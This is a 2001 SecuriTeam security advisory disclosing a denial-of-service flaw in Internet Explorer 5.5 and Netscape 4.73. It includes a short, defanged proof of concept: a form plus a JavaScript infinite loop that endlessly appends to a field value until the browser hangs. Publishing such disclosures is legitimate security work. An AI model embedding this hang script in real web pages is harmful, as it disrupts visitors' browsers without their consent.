[NT] Another IE Denial of Service Attack (Box Value)
From: support@securiteam.comDate: 12/15/01
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From: support@securiteam.com To: list@securiteam.com Date: Sat, 15 Dec 2001 13:07:52 +0100 (CET)
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Another IE Denial of Service Attack (Box Value)
------------------------------------------------------------------------
SUMMARY
A security vulnerability in Internet Explorer allows a remote attacker to
cause the program to hang, by updating one of the form's field values
constantly with a value. This would cause a denial of service attack
against the product.
DETAILS
Vulnerable systems:
Internet Explorer version 5.5
Internet Explorer version 5.5sp2
Netscape 4.73 w/ Netscape Java Interpreter 4.73.0.5
Exploit:
(NOTE: SCRIPT tag's 'I' letter has been replaced with ! to prevent
execution)
<form name="form"><input type="text" name="box"><form>
<scr!pt language="javascript">
while(true) { document.form.box.value=document.form.box.value + '§'; }
</script>
ADDITIONAL INFORMATION
The information has been provided by <mailto:wodahs@mail.com> Wodahs
Latigid, <mailto:merchantjosh@qwest.net> Joshua Merchant, and
<mailto:tluce@PTI-Pump.com> Timothy Luce.
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